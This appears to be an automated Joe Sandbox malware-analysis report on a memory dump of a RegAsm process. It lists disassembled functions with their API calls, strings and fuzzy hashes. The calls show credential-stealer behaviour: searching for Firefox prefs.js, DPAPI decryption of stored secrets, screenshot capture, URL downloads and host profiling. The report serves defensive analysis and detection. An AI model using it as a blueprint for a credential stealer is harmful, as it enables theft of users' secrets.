Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 00418AB0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00418B0C

Strings

image/jpeg, xrefs: 00418BD6

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction ID: ab8c993fcc5868c7862916c534b465bb792f4261399987fcbf2c6f11a1cf59ff
Opcode Fuzzy Hash: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction Fuzzy Hash: 2E711CB1A10208ABDB14EFE4DC89FEEB779BF48700F108509F516AB290DB74A945CB65

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
\*.*, xrefs: 0040E28D

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00401710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042500C,?,00401F6C,?,004250B4,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,0042515C), ref: 004019B3
StrCmpCA.SHLWAPI(?,00425204), ref: 004019C9
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 959a32809bf77ea7535e4eb5a7c8f0c0158707e5fef3a1c1b2c232c917b5d36d
Instruction ID: 7f74e4117e18f221836cc8dfa6e9da0cbfb987b90413c5c57b10598df2daaecd
Opcode Fuzzy Hash: 959a32809bf77ea7535e4eb5a7c8f0c0158707e5fef3a1c1b2c232c917b5d36d
Instruction Fuzzy Hash: C2123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205A7), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

CloseHandle.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT(?,?,?), ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00C51BC0,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00C51BC0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00C51BC0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
